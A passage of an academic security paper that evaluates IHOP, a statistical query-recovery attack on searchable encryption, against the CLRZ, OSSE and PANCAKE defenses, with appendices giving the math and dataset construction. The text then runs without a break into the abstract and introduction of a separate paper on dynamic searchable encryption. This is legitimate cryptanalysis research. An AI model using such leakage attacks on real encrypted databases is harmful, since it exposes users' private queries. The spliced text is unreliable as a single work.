accuracy among all attacks in all datasets, and a running time
orders of magnitude below IKK and GraphM.

5.2 Volume and frequency leakage attacks
For the next set of experiments, we consider both volume
and frequency leakage when the client sends queries inde-

pendently. For each experiment, after selecting the keyword
universe ∆k as above, we take the frequency data from Google
Trends for the keywords in ∆k over the span of 2020. Then,
we use the average frequencies of the first half of this year
as the auxiliary information f̃ and generate keywords inde-
pendently at random following the average query frequencies
of the second half of the year (this affects the observed fre-
quencies of tokens f). Since we consider independent query
generation, the adversary uses f and f̃ in their attack. We set
the coefficients of IHOP as the summation of (4) and (6), and
use niters = 1000 and p f ree = 0.25. Besides the attacks we
considered above, we also evaluate Freq.

Attack comparison with ρ (S2). We first compare the at-
tacks that rely on frequency information (IHOP, SAP, and
Freq). We set n = 3000, since these attacks are efficient,
and vary the number of queries ρ. Figure 6 shows the at-
tack accuracy (recall that this is the percentage of distinct
query tokens whose underlying keyword is correctly guessed
by the attack). IHOP comfortably beats both SAP and Freq
(+20% more accuracy than these attacks in all cases), which
are the state-of-the-art in this setting. This is because IHOP is
the only attack that can exploit both frequency and volume
co-occurrence information at the same time.

Access-pattern obfuscation defenses (S2). We evaluate
all attacks against two access-pattern obfuscation defenses:
CLRZ [6] and OSSE [36]. CLRZ randomly adds and removes
keywords from documents before outsourcing the database.
The False Positive Rate (FPR) of CLRZ is the probability that
it adds a keyword to a document that does not have it, and
the True Positive Rate (TPR) is the probability that it keeps
a keyword in a document that has it. CLRZ obfuscation oc-
curs before outsourcing the database, and therefore querying
for the same keyword twice produces the same (obfuscated)
access pattern. OSSE achieves the same effect during query
time: querying for a particular keyword can return documents
that do not contain that keyword and miss some documents
that do contain the keyword. Querying for the same keyword
twice yields (with high probability) different access patterns
in OSSE, providing a certain level of search pattern privacy.

We assume the adversary knows the defense parameters
(TPR and FPR) and explain in Appendix A how we adapt
all the attacks against these defenses. We set n = 500, since
GraphM is too slow for larger keyword universes, and set the
number of queries to ρ = 500. We set TPR=0.9999 and vary
FPR for both defenses. Figure 7 shows the accuracy of the
attacks against CLRZ and OSSE in Enron dataset. The figure
shows that OSSE is a stronger defense than CLRZ, but we
observe a smaller difference between these defenses than
Shang et al. [36], since we have adapted the attacks against
OSSE more efficiently. More importantly, we see a large
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Figure 3: Attack comparison in all datasets vs. the number of non-indexed documents of the adversary (Naux
d ) (S1)
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Figure 4: Attack comparison vs. number of keywords (n) (S1)

accuracy gap between IHOP and the other attacks.6

Other defenses: discussion. We only considered the CLRZ
and OSSE defenses because they affect the observed volumes
V without modifying the general leakage format we assume
in this paper. We did not consider other defenses like the
proposal by Patel et al. [32] or SEAL [10] because they pad
the documents that are returned to each keyword indepen-
dently, but do not consider how to pad volume co-occurrence.
This works when each document has a single keyword (or
attribute), but not in the keyword query scenario we consider
in this paper unless the client replicates each document once
per each of its keywords, which requires an unfeasible storage
cost. We also disregarded PANCAKE [13] in this section since
it hides frequencies but not volume (we consider this defense
in the following section), and SWiSSSE [16] since it is an
altogether more complex SSE scheme that does not fit our
description in this paper, and we believe deserves individual
attention. We note that a purely ORAM-based defense can
protect against IHOP, but these defenses come at a high over-
head cost; our attack is effective against efficient defenses like
CLRZ [6].

6We observe an increase in the accuracy of IHOP when FPR=0.01. We
only observed this effect in Enron and Movie datasets, and we conjecture it
is an effect of these datasets’ distribution and how IHOP’s objective function
interacts with it.
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Figure 5: Attack comparison vs. number of keywords (n)
when the adversary sees m = 500 distinct tokens (S2)
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Figure 6: Comparison of attacks that use frequency leakage,
with n = 3000 (S2)

6 IHOP against PANCAKE with Query Depen-
dencies

In this section, we evaluate the performance of IHOP in a set-
ting where the client’s queries are correlated, i.e., querying for
a particular keyword ki affects the probability of the keyword
chosen for the next query. This query model is interesting
because humans rarely make independent decisions, and this
type of query correlations have not been considered in at-
tacks against SSE schemes before (except briefly by Grubbs
et al. in their appendix [14]). As we explained in Sec. 4.3.3,
IHOP can take these correlations into account. We consider a
case where there is frequency-only leakage (S3) so that the
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Figure 7: Attack comparison vs. CLRZ and OSSE in Enron
dataset (n = 500, ρ = 500) (S2)

attack’s success relies exclusively on exploiting these query
dependencies. A particular case of frequency-only leakage
is when the client simply queries for individual documents
using their identifier or a “document title”.

Besides showing the effectiveness of IHOP with query cor-
relations, the main contribution of this section is an evalua-
tion of PANCAKE, the frequency hiding defense by Grubbs et
al. [13], in the presence of query dependencies. We provide
an overview of PANCAKE below, then explain how we adapt
IHOP against PANCAKE, and finally introduce our experimen-
tal setup and show our results.

6.1 Overview of PANCAKE

PANCAKE [13] is a system that hides the frequency access
of key-value datasets by using a technique called frequency
smoothing. PANCAKE uses document replication and dummy
queries to ensure that the access frequency to the key-values
in the dataset is uniform. For compatibility with our notation,
we consider the case where the keyword universe and dataset
have the same size (n = Nd), and without loss of generality
keyword ki matches only document di (i ∈ [n]).

We use Figure 8 to summarize how PANCAKE works. In
the figure, n = Nd = 3. Let freal be a vector of length n+ 1,
where its ith entry freal

i contains the real query frequency of
keyword ki, and freal

n+1 = 0 represents the real query frequency
of a dummy keyword-document pair kδ-dδ. We assume that
the client knows freal for simplicity (this only benefits the
client and not the attack). The client creates R(i)= ⌈freal

i /n⌉≥
1 replicas for each document di (i ∈ [n]), and additionally
creates R(n+ 1) = 2n−∑

n
i=1 R(i) dummy replicas dδ. This

makes a total of 2n document replicas, that are encrypted and
sent to the server (in a random order). In Figure 8a, the client
creates two replicas for d1, one for d2 and d3, and two dummy
replicas dδ. We refer to the ℓth replica of ki by ri,ℓ, with ℓ ∈
[R(i)]. The client computes a vector of dummy frequencies
fdum
i = R(i)/n− freal

i ≥ 0 for each i ∈ [n+1]. For simplicity,
we assume that the client knows the mapping of keywords
to replicas and stores freal and fdum locally, and refer to the
original paper for more advanced details [13].

When the client wishes to query for a keyword ki, she places
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Figure 8: Overview of PANCAKE’s setup and queries.

ki inside a buffer of pending queries, and flips three unbiased
coins (Fig. 8b). For each coin flip: if it shows heads, the client
queries for the next keyword in her buffer of pending queries
(e.g., k2 in 8b). If the buffer is empty, she simply samples a
keyword from freal and queries for it (e.g., k1 in Fig. 8b). If
the coin shows tails, the client samples a keyword from fdum

and queries for it (e.g., kδ in Fig. 8b). To query for a keyword,
the client selects one of its replicas at random and generates a
token that retrieves the document associated with that replica.

The probability that the client sends a query for keyword ki
is therefore 1

2 freal
i + 1

2 freal
i = R(i)/2n. Since the client chooses

one of the R(i) replicas at random when querying for ki, the
access frequency of any replica is 1/2n. Since each query
token corresponds to one replica, the frequency of each token
τ j ( j ∈ [2n]) is also 1/2n (uniform); i.e., query tokens are
indistinguishable based on their frequencies.

6.2 Query dependencies against PANCAKE

PANCAKE ensures that each document replica is accessed
with probability 1/2n. However, when there are dependencies
between the keywords that the client chooses, PANCAKE does
not hide these dependencies. Grubbs et al. [13] provide strong
evidence that PANCAKE obfuscates query correlations. Here,
we perform another study of PANCAKE against dependent
queries, and discuss our findings against the ones by Grubbs
et al. [13] in Section 6.4. We consider the case where the
client follows a Markov model to choose the keywords of her
queries, and use Freal to denote the n×n Markov matrix that
characterizes the client’s querying behavior. We assume that
the Markov process is irreducible and aperiodic so that it has a
unique stationary distribution, freal . This vector (freal) contains
the probability that the client queries for each keyword (at
any point in time) and can be computed analytically from
Freal . The client uses freal as input to PANCAKE to compute
the replicas and dummy distribution. Even though the query
frequency of each token is 1/2n, the correlations between
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real queries cause correlations between query tokens which
the adversary can leverage for query recovery (we show an
example of this in Fig. 11, in the appendix).

Now we explain how we adapt our attack against PANCAKE.
When the client queries ρ times, she sends a total of 3ρ to-
kens. The adversary observes the sequence of tokens obs=
[(τ)1, . . . ,(τ)3ρ] and groups them, consecutively, into triples.
Then, the adversary builds the 2n× 2n matrix of observed
frequencies F by considering every two consecutive triples
and counting each transition from a token in the first triple and
a token in the second triple. This matrix is then normalized
by columns, which ensures it is left-stochastic.

The adversary has an n× n auxiliary information matrix
F̃, which captures the client’s querying behavior (ideally, this
matrix is close to Freal). The adversary computes the station-
ary distribution of F̃ (i.e., f̃), and uses it to get the expected
number of replicas for each keyword and the dummy pro-
file that the client is using. Note that if F̃ is far from Freal ,
the adversary’s belief of the number of replicas per keyword
and the dummy profile might be very far from the true ones.
In Appendix B, we explain how the adversary can compute
the matrix of expected frequencies between replicas given F̃,
which we denote by F̂. The adversary uses the matrix of ob-
served token frequencies F and expected replica frequencies
F̂ to match tokens to replicas. This in turn yields a matching
between tokens and keywords. This means that we adapt IHOP
against PANCAKE by setting its c and d coefficients as in (8)
and (7), using F̂ instead of F̃ in these expressions.

6.3 Experimental Results
For our evaluation, we consider the case where the client’s
database is an encyclopedia that she wishes to securely store
on a server. Each document contains information about a par-
ticular topic, identified by its keyword. To build our datasets
and compute the transition probabilities between the queries,
we use data from the Wikipedia Clickstream dataset.7 We
summarize our approach here, and provide full details in Ap-
pendix D. Using PetScan,8 we get all Wikipedia pages under
the five categories ‘privacy’, ‘security’, ‘cryptography’, ‘poli-
tics’, and ‘activism’, including pages in subcategories. This
yields a total of 5573 pages. Many of these pages have hy-
perlinks that allow a user to browse from one to another. We
download the number of times Wikipedia users clicked on
these hyperlinks to transition between these pages in 2020.
We build five keyword universes of size n = 500, each fo-
cused on one of the five categories above. For each of these
keyword universes, we use the transition counts to build two
500× 500 transition matrices: one with data from January
2020 to June 2020 (FJUN

JAN ), and another one with data from
July 2020 to December 2020 (FDEC

JUL ). We use FDEC
JUL to generate

the client’s real queries, i.e., Freal = FDEC
JUL . We evaluate both

7https://dumps.wikimedia.org/other/clickstream/
8https://petscan.wmflabs.org

the case were the adversary has low-quality auxiliary informa-
tion (F̃ = FJUN

JAN , denoted aux ↓ in the plots) and high-quality
information (F̃ = FDEC

JUL , denoted aux ↑).
We consider two values of the total number of queries: ρ =

100000 and ρ = 500000. These are large numbers, because
the datasets contain n = 500 keywords, which generates 1000
replicas with PANCAKE, and thus there are 1000 possible
query tokens. These tokens are all queried with the same
probability (this is guaranteed by PANCAKE), and thus with
ρ = 100000 (resp., ρ = 500000) the server observes ≈ 300
(resp., ≈ 1500) transitions from (or to) each query token,
which we believe is not a large number. We note that attacks
that exploit query dependencies need such large number of
queries to succeed (except in cases where query dependencies
are unusually high).

We evaluate IHOP with p f ree = 0.25 and use niters = 10000.
Figure 9 shows the accuracy of IHOP vs. the number of it-
erations niters, for each of the five category-based keyword
universes. As before, the accuracy in these plots is the per-
centage of query tokens (out of the 2n tokens) for which the
adversary guesses the underlying keyword correctly. In each
plot, the title shows the category, continuous and dashed lines
denote ρ = 100000 and ρ = 500000, respectively, and each
color denotes which defense is used and the quality of auxil-
iary information as explained above. We see that the attack
accuracy and its evolution with niters varies significantly de-
pending on the category (i.e., the underlying Markov model
Freal affects the algorithm’s convergence speed and accuracy).
In most cases, PANCAKE significantly reduces the attack ac-
curacy (blue vs. green lines, and orange vs. red lines). As
expected, increasing the number of queries observed usually
improves the attack. The exception to this is the green lines
for some categories: this is because for these categories the
imperfect auxiliary information (aux ↓) is misleading, so ob-
serving more queries misleads the attack even further. We
see a slower convergence for IHOP compared to Fig. 2; this is
because the attack has volume information in Fig. 2, which
makes the linear coefficients d very helpful even when the
fixed assignment in an iteration P• contains many incorrect
matchings. Our attack in this frequency-only setting (Fig. 9)
relies mostly on the quadratic terms c, which are only truly
helpful when the current assignment P is already accurate.
This makes the attack’s convergence slower.

We summarize the results of our experiment in Figure 10.
Here, each box represents the accuracy of the attack against all
categories (30 accuracy values for each category, 5 categories)
in the last iteration of the attack (niters = 10000). This figure
shows more clearly the advantage of using PANCAKE over no
defense when there are query dependencies. For ρ = 100000
queries, using PANCAKE decreases the average attack accu-
racy from 93.6% (no defense) to 41.9% (PANCAKE), when the
auxiliary information is low-quality. With high-quality auxil-
iary information, the accuracy decreases from 99.7% to 60.5%
thanks to PANCAKE. Although the decrease is somewhat sig-
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Figure 9: Accuracy of IHOP against PANCAKE with the number of iterations niters, for different category-based datasets and
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nificant, our results confirm that PANCAKE is vulnerable to
query correlations, which differs from the findings in the pre-
liminary analysis by Grubbs et al. [14]. The accuracy gap
between the attack without defense and with PANCAKE is
even smaller when the number of queries increases.

6.4 Discussion

Our experiments show that PANCAKE might not provide
enough protection when there are query dependencies, which
differs from the findings by Grubbs et al. [13]. The reason
for this is that Grubbs et al. consider a case where the client’s
dataset contains mappings of keywords to document identi-
fiers, and of document identifiers to documents. The client
queries first for a keyword, followed by a query for a docu-
ment that contains that keyword. This creates dependencies
between pairs of queries. Their dataset contains ≈ 532000
entries, which results in over one million replicas. They see
that, even when the client issues 10 million queries, the joint
distribution of consecutive accesses is almost flat. This is rea-
sonable, since with one million replicas, 10 million queries
might not be enough information for the adversary. Even
with enough queries, carrying out IHOP in this case would be
computationally prohibitive due to the size of the problem.

To summarize: we have provided the first piece of evi-

dence that there are cases where PANCAKE does not provide
sufficient protection against query correlations. PANCAKE’s
protection against correlated queries thus depends on the key-
word universe and dataset sizes, as well as the strength of
the correlations. Developing statistical-based query recov-
ery attacks able to deal with large keyword universe sizes
and studying PANCAKE’s protection for different correlation
levels is an interesting future research line.

7 Conclusion

We proposed IHOP, a new attack on SSE schemes that uses
statistical (non-ground-truth) auxiliary information to recover
the client’s queries. Our attack formulates query recovery as
a quadratic optimization problem and uses a novel iteration
heuristic that relies on efficient optimal linear solvers to find
a suitable solution. IHOP is the first query recovery attack that
can leverage both quadratic volume and frequency terms.

We evaluated our attack on real datasets against SSE
schemes that exhibit typical leakage patterns, showing that it
outperforms all other statistical-based query recovery attacks.
In four out of the five datasets we consider, IHOP achieves
almost perfect query recovery accuracy (≈ 100%) in the full
access-pattern leakage setting when the adversary receives a
number of non-indexed documents equal to half the dataset
size, while being more than one order of magnitude faster
than previous attacks. When the adversary sees the access
patterns of a subset of all the keywords only, IHOP widely out-
performs all other attacks (92% accuracy in Lucene; previous
best achieves 7%), while being significantly faster (12 minutes
vs. over 5 hours). We verified IHOP consistently outperforms
other attacks when frequency information is available, as well
as when efficient access-pattern obfuscation techniques are
applied. Finally, we demonstrate that IHOP can exploit query
dependencies by adapting our attack against the PANCAKE
frequency-smoothing defense. Our results in a small dataset
confirm that PANCAKE might not provide sufficient protec-
tion against query recoveries and urge for a more thorough
analysis of PANCAKE under query dependencies.
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A Adapting IHOP and SAP against CLRZ and
OSSE

We adapt IHOP and SAP against CLRZ following the approach
by Shang et al. [36, Appendix D]. Namely, the adversary
knows the TPR and FPR of CLRZ and computes the n× n
matrix of expected keyword volumes V̂ after the defense is
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applied. Recall that Ṽi,i′ is an estimation (from the auxiliary
information) of the probability that a document has both key-
words ki and ki′ . Let ṼNOT

i,i′ be an estimation of the probability
that a document has neither keywords ki nor ki′ (in our exper-
iments, the adversary computes this from the auxiliary data
set). Then, the i, i′th entry of V̂ is [36, Appendix D]

V̂i,i′ =


i ̸= i′ : TPR2 · Ṽi,i′ +FPR2 · ṼNOT

i,i′

+TPR ·FPR · (1− Ṽi,i′ − ṼNOT
i,i′ ) ,

i = i′ : TPR · Ṽi,i′ +FPR · ṼNOT
i,i′ .

(9)

To adapt the different attacks against CLRZ, the adversary
simply uses V̂ instead of Ṽ in the attack’s coefficients.

We explain how we adapt the attacks against OSSE. Re-
call that, in OSSE, the adversary observes access patterns
(with each entry obfuscated with TPR and FPR), but does
not know whether or not two access patterns correspond to
the same keyword, since each access pattern has been gener-
ated with fresh randomness. Let m be the number of distinct
queried keywords in OSSE (the number of distinct observed
access patterns could be up to ρ; i.e., the number of queries).
Following Shang et al. [36], the adversary first clusters the
observed access patterns into m groups (we assume the adver-
sary knows m for simplicity [36]). Let C j be the jth cluster,
for j ∈ [m]. To build the off-diagonal j, j′th entries ( j ̸= j′) of
the matrix of observed volumes V, the adversary computes
the average number of documents in common between one
access pattern from C j and one from C j′ , i.e.,

V j, j′ =
1

|C j| · |C j′ | ∑
a∈C j

∑
a′∈C j′

aT a′

Nd
.

The diagonal entries are V j, j =
1
|C j | ∑a∈C j

aT a
Nd

. The adversary

uses this observation matrix V and the auxiliary matrix V̂
above (9) to run the attacks against OSSE.

B Adapting IHOP against PANCAKE

We provide details into how we adapt IHOP against PANCAKE.
As we mention in the main text, the client chooses keywords
for her queries following a Markov process characterized by
the n×n matrix Freal , with stationary profile freal . Every time
the client queries the server, PANCAKE creates three query
slots, selects three keywords, and sends the corresponding
query tokens to the server (see Section 6.1). Each of these
keywords can either be dummy (k∼ fdum), real fake (k∼ freal),
or an actual real query (sampled from Freal , according to the
previous real query). Let T1,T2, . . . ,Tρ be the set of query
token triplets observed by the adversary. The adversary builds
the matrix of observed token frequencies F by counting all
token transitions in consecutive triplets (Algorithm 3).

Then, the adversary builds the 2n× 2n expected matrix
of replica frequencies F̂ given the auxiliary information F̃.

Algorithm 3 Compute F in PANCAKE

1: procedure COMPUTEFREQOBS(n,T1,T2, . . . ,Tρ)
2: F← 02n×2n
3: for i← 1 . . .ρ−1 do
4: for τ j ∈ Ti, τ j′ ∈ Ti+1 do
5: F j′, j← F j′, j +1

6: Normalize columns of F.
7: return F

First, the adversary computes f̃ from F̃, and gets the number of
replicas of each keyword and the dummy keyword distribution
f̃dum following PANCAKE’s specifications. Let R̃(i) be the
number of replicas for keyword ki and ν : [2n]→ [n] be a
mapping from replicas to keywords, both computed from f̃.

If we generate keyword queries following PANCAKE’s spec-
ifications and using F̃, f̃ and f̃dum, for every two keywords k
and k′ in consecutive triplets, one of the following events
happens:

A. k′ was sampled from f̃dum.

B. k was sampled from f̃dum but k′ was not.

C. Neither k nor k′ were sampled from f̃dum, but at least one
is a “real fake” query sampled from f̃.

D. Both k and k′ are real queries.

Following PANCAKE specifications, one can see that
Pr(A) = 0.5 and Pr(B) = 0.25. We computed the probabilities
of events C and D empirically, since they are constants that
just depend on PANCAKE’s specifications: Pr(C)≈ 0.145 and
Pr(D)≈ 0.105. Note that k and k′ are independent except in
event D. If both k and k′ are keywords for real queries (event
D), then k′ was generated right after k with probability 0.81,
two queries after k with probability 0.17, and three queries
after k with probability 0.02 (we also determined these prob-
abilities empirically; they are constants that only depend on
PANCAKE’s protocol). Summarizing, with probability 0.5 we
have that k′ ∼ f̃dum, with probability 0.25+ 0.145 = 0.395
we have k′ ∼ f̃, and otherwise k′ depends on k. Putting this
together, the transition probabilities between two keywords
in consecutive triplets are:

G = 0.105 · (0.81F̃+0.17F̃2 +0.02F̃3)+0.395 · f̃1T
n +0.5 · f̃dum1T

n .

Matrix F̂ follows this formula, expanded to the space of repli-
cas:

F̂ j, j′ = Gν( j),ν( j′)/R̃(ν( j)) . (10)

Figure 11 shows an example of a Markov model with three
keywords (Fig. 11a), the Markov matrix and stationary profile
(Fig. 11b), and the expected transition between replicas F̂ (10)
(Fig. 11c). In the plot, we used F̃ = Freal to compute F̂, for
illustration purposes. The stationary profile of F̂ is uniform,
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Figure 11: Example of PANCAKE under correlated queries.

but we can see that F̂ is not. The matrix of observed frequen-
cies F is a (noisy) version of F̂, with randomly permuted rows
and columns. We use IHOP to estimate this permutation by
setting the coefficients of IHOP as in (8) and (7), but using F̂
instead of F̃. The result of this is a mapping P from tokens to
replicas, which we map to keywords using ν(·).

C Dataset Generation

Table 2 shows the dataset names, the type and number of
documents they contains, and the source URL that we used
to download them. We download the datasets from the source
we show in the table and parse them so that each document
is a string (an email, news article, or movie plot summary).
Following related work [9], for Enron dataset we only take
documents in the _sent_mail folder; for Lucene, we re-
move the signature at the end of each email that begins with
“To unsubscribe”, since this message appears in all emails.
Then, we follow a series of steps to extract the keywords of
each document:

1. We extract each word in the document using the regular
expression (regex) \w+.

2. We convert all words to lower-case and ignore words
that contain non-alpha characters [33].

3. We ignore English stopwords, and words whose length
is not between 3 and 20 characters [33].

4. We apply Porter stemmer [40] to the remaining words,
and keep the 3000 most popular stems of each dataset.
This stemming process is the most popular approach to
extract keywords in related work [1, 3, 9, 18, 29, 33].

These stems are the keywords in our evaluation. We save, for
each dataset, the different words that yielded each of the 3000

stems. Then, for each of those words, we download their query
frequencies for each week of 2020 from Google Trends.9

We use the gtab package [41] to fix normalization issues of
Google Trends. The query frequency of a particular stem is
the sum of frequencies for each of its keywords. For example,
“time” is a popular stem in Enron dataset. The words that
resulted in this stem are “time”, “timed”, “timely”, etc. We
downloaded the query frequencies for each of those words,
and assumed that queries for each of those words trigger a
match in documents that contain the stem “time”.

Figure 12 shows the volume of each keyword in the datasets.
Recall that the volume of a keyword is the percentage of doc-
uments that contain such keyword. We sort the keywords
of each dataset in decreasing volume order in the plot. In
email datasets (Enron and Lucene), we see that keywords
have lower volumes than in other datasets, which indicates
that each email uses specific terminology that is not very
common among other emails. Datasets that consist of news ar-
ticles (News and NYTimes) lie in the opposite extreme: their
documents use a similar vocabulary, which yields keywords
with overall high volumes. The volume distribution of the
dataset that consists of movie summaries (Movies) is some-
where in between these two extremes. This plot shows that the
datasets we consider are statistically varied. We note that the
volume distribution is not necessarily correlated with attack
accuracy. There are many variables that affect attack accuracy
(e.g., keyword volume uniqueness, keyword co-occurrence
uniqueness, higher-order dependencies between keywords),
and we cannot capture all of them in a single plot.

9https://trends.google.com/trends
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Dataset Size Content Source
Enron 30033 Emails https://www.cs.cmu.edu/~./enron/

Lucene 63597 Emails https://mail-archives.apache.org/mod_mbox/lucene-java-user/
Movies 42304 Movie plots http://www.cs.cmu.edu/~ark/personas/

News 49931 Articles https://www.kaggle.com/snapcrack/all-the-news/version/4
NYTimes 299607 Articles https://archive.ics.uci.edu/ml/datasets/bag+of+words

Table 2: Datasets that we consider.
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Figure 12: Keyword volume distribution for each of the
datasets we consider.

D Wikipedia Dataset Generation

We explain how we generate the keyword universes and tran-
sition matrices Freal for our experiments with query corre-
lations (Section 6.3). As we mention in the main text, we
consider a scenario where each keyword-document pair repre-
sents a particular topic or webpage, and we use the Wikipedia
clickstream dataset to build a realistic transition matrix Freal

between keywords. Thus, we refer to keywords as pages in
this appendix.

We use PetScan10 to retrieve all Wikipedia pages under
the categories ‘privacy’, ‘security’, ‘cryptography’, ‘politics’,
and ‘activism’, including pages in subcategories up to a depth
of two. This yields 5573 pages. We download the number
of times Wikipedia users transitioned between those pages
in 2020 by querying the Wikipedia Clickstream dataset.11

Let Gbig be a graph where the nodes are these pages, and
the edges between two nodes are the number of times users
transitioned between the pages represented by such nodes.

We explain how we build a keyword universe ∆k of size
n = 500 centered around a category. We start with a subgraph
Gcat ⊂ Gbig with nodes (pages) from that category only. We
remove all nodes with a degree ≤ 1 and we keep removing
nodes with the smallest degree in Gcat until the subgraph

10https://petscan.wmflabs.org
11https://dumps.wikimedia.org/other/clickstream/

has a size smaller than n. If the subgraph already had less
nodes than n, we add nodes from Gbig (the ones that share
more edges with Gcat are added first) until Gcat has n nodes.
Then, let kbig be the node in Gbig \Gcat that has more edges
connecting to Gcat (and let s(kbig) be this number of edges),
and let kcat be the node in Gcat with smallest degree (and let
s(kcat) be this degree). If s(kcat)≤ 1 or if s(kcat)< s(kbig)−2,
we remove kcat from Gcat and replace it with kbig. Otherwise,
we finish the building process, and the remaining n nodes in
Gcat are the keyword universe ∆k for the category.

Finally, we build FDEC
JUL from ∆k as follows (the process

for FJUN
JAN is the same, with data from different months). We

get all transitions between pages in ∆k from July to Decem-
ber (2020), and also get the number of times users accessed
pages in ∆k from other sources (namely, transitions from
pages named ‘other-empty’, ‘other-external’, ‘other-internal’,

‘other-search’, ‘other-other’ in the Clickstream dataset). We
use these transitions from other sources to compute the query
probability of the pages in ∆k when the user starts a browsing
session (we denote these probabilities by pother).

The columns of FDEC
JUL are transition profiles, i.e., the ith

column is a vector that represents the probability of querying
for a particular page after querying for ki. To compute this
profile for a page ki ∈ ∆k , we count the transitions from ki
to all other ki′ ∈ ∆k and normalize this so that it adds up
to one. We also consider that there is a probability 0.05 of
restarting the browsing session, i.e., with probability 0.05 the
user simply chooses a new page by following pother. This
ensures the Markov process is irreducible and aperiodic. If ki
is a sink page, i.e., a page the user can transition to but that
does not have outgoing transitions to other pages in ∆k , we
simply consider that the user restarts the browsing session
after that page, so the transition profile is just pother.
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Abstract
We focus on the problem of Dynamic Searchable Encryp-
tion (DSE) with efficient (optimal/quasi-optimal) search in
the presence of deletions. Towards that end, we first propose
OSSE, the first DSE scheme that can achieve asymptotically
optimal search time, linear to the result size and independent
of any prior deletions, improving the previous state of the art
by a multiplicative logarithmic factor. We then propose our
second scheme LLSE, that achieves a sublogarithmic search
overhead (log log iw, where iw is the number or prior inser-
tions for a keyword) compared to the optimal achieved by
OSSE. While this is slightly worse than our first scheme, it
still outperforms prior works, while also achieving faster dele-
tions and asymptotically smaller server storage. Both schemes
have standard leakage profiles and are forward-and-backward
private. Our experimental evaluation is very encouraging as it
shows our schemes consistently outperform the prior state-of-
the-art DSE by 1.2-6.6× in search computation time, while
also requiring just a single roundtrip to receive the search re-
sult. Even compared with prior simpler and very efficient con-
structions in which all deleted records are returned as part of
the result, our OSSE achieves better performance for deletion
rates ranging from 45-55%, while the previous state-of-the-art
quasi-optimal scheme achieves this for 65-75% deletion rates.

1 Introduction

Searchable encryption (SE) [18, 62] allows a user to upload
her dataset to an untrusted server in encrypted form, while
maintaining the ability to search over it without revealing raw
data to the server. Since its introduction by Song et al. [62], it
has become a heavily studied research topic with numerous
works that try to improve its security [22, 39, 42, 57], effi-
ciency [6,21,25,26,54], expressiveness of supported types of
queries [11,12,16,23,24,29,38,52], and support for multiple
users [35, 59, 60, 67, 68]. One common denominator in SE re-
search has been the focus on highly practical schemes that can

be used in real-world applications and scale to large datasets,
at the cost of a clearly defined leakage of information about
the dataset to the server such as whether queries are repeated,
the size of the returned result, and when the same results are
returned. Partly due to this emphasis on efficient performance,
SE has been used in a variety of settings starting from simple
text keyword search [18, 62], and including encrypted rela-
tional [12, 40], NoSQL [58], or graph [31, 50, 52] databases.
Consequently, SE has been proposed for applications such as
annotated image search [3], encrypted email clients [53], and
very recently for maintaining a secure gun registry [43].

Our focus in this work is dynamic searchable encryption
(DSE) [8, 44, 45], that is, schemes that allow the user to effi-
ciently modify the dataset, without having to re-run a costly
setup process from scratch. More specifically, we are inter-
ested in DSE with efficient search performance in the presence
of deletions. Ideally, the search time for a query should be op-
timal, i.e., proportional to the result size itself, independently
of the number of prior deletions that affect this result. For
instance, consider an extremely simple example for a DSE
keyword search over a textual dataset, returning which files
contain it. If the keyword appears in 100 files but subsequently
90 of them are deleted, the search overhead should only be
proportional to its actual returned result (i.e., 10). Given the
wide range of potential SE applications, this can make a big
difference in the system’s performance.

In particular, in a graph database deleting a node immedi-
ately triggers deletions of all its adjacent edges. For a rela-
tional database (likewise, for streaming systems [4, 36] and
pure key-value storage [1]), which use a (LSM-like) key-
value store (or an encrypted store in the case of DSE) as a
storage layer [30], a single deletion/update of a tuple/value
will produce a multiplicative number of deleted/cancellation
tuples—at least one for each attribute. These deleted tuples
can later interleave with future search queries affecting the
search performance. Such issues have also been observed
recently by [61]; that work considers settings in which “low-
level” deletes are triggered not only by users’ direct actions,
and studies scenarios of delete-intensive query workloads.
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Table 1: Comparison with prior DSE with quasi-optimal search. N is the upper bound on the (w, id) pairs and D total number of
deletions, |W | is the number of distinct keywords, and for each keyword, iw and dw are the number of insertions and deletions,
aw = iw +dw is the total number of updates, and nw = iw−dw is the number of non-deleted (w, id) pairs. RT is the number of
roundtrips for completing a search query. We assume oblivious maps are instantiated with [66]. For QOS, we refer to the version
from [20] with counters locally stored at the client.

Scheme Search Insert Delete Search RT Server Storage BP
SPS [63] O(min{aw + logN,nw log3 N}) O(log2 N) O(log2 N) 1 O(N) ✗

Orion [14] O(nw log2 N) O(log2 N) O(log2 N) O(logN) O(N) I
Horus [14] O(nw logdw logN + log2 |W |) O(log2 N) O(log2 N) O(logN) O(N) III
QOS [20] O(nw log iw) O(log2 N) O(log3 N) 2 O(N) III

OSSE (Sec. 4) O(nw + log iw) O(log2 N) O(log3 N) 1 O(N +D logN) III
LLSE (Sec. 5) O((nw + log iw) · log logN) O(log2 N) O(log2 N) 1 O(N) III

Prior DSE with (quasi-)optimal search. The majority of
DSE schemes in the literature (e.g., [9, 14, 20, 28]) adopt a
“lazy deletion” policy, treating deletions as actual entries on
their own behalf (similar to the LSM-like policy mentioned
above). In subsequent searches, the client retrieves all rel-
evant inserted entries and “deletion entries” and filters out
the actual result. While this leads to a conceptually simple
search process, it can have significant adverse impact on the
system’s search performance, as motivated in our discussion
above. That said, a small number of works focus on the same
goal as we do and we provide an overview of their asymptotic
performance in Table 1, starting from Stefanov et al. [63]
that proposed the first DSE where the search performance is
always quasi-optimal, i.e., within a poly-logarithmic factor
from the result size. Unfortunately, their construction has the
drawback that it reveals to the server the id’s of records that
contained the searched keyword but have since been deleted1,
which may not be acceptable in some applications (e.g., as
related to the right-to-erasure of EU GDPR article 17).

Formally this property has been defined as backward pri-
vacy in [9], distinguishing it from forward privacy [15, 63]
that minimizes information leakage during updates. Focusing
on works that achieve both forward and backward privacy, the
best such scheme (QOS from [20]) requires O(nw log iw) for a
search for keyword w with result size nw after iw relevant entry
insertions.2 Previous works (Orion and Horus from [14]) em-
bed the entire dataset inside an oblivious index [19,32,64,66].
If this is instantiated with the state-of-the-art oblivious in-
dexes [5], the result would be asymptotically the same as QOS,
i.e., a logarithmic factor slower than the optimal. Interestingly,
there exist very strong lower-bound results [32, 51, 56] that
show that relying solely on oblivious indexes one cannot hope
to further improve search performance asymptotically.

Motivated by this, we ask whether it is possible to design a
forward-and-backward private DSE with search performance

1Having been inserted after the last search for this keyword; otherwise,
the server already knows these id’s as information leakage during that search.

2As in all prior works referenced here, when referring to asymptotics
we implicitly assume map lookups are constant-time operations, e.g., via
dynamic perfect hashing [27].

that is asymptotically within a sublogarithmic factor from the
optimal O(nw), or indeed with optimal search performance.
This work. We present the first DSE schemes that answer the
above question in the affirmative. Our first construction OSSE
(Section 4) is the only existing DSE that, for large enough
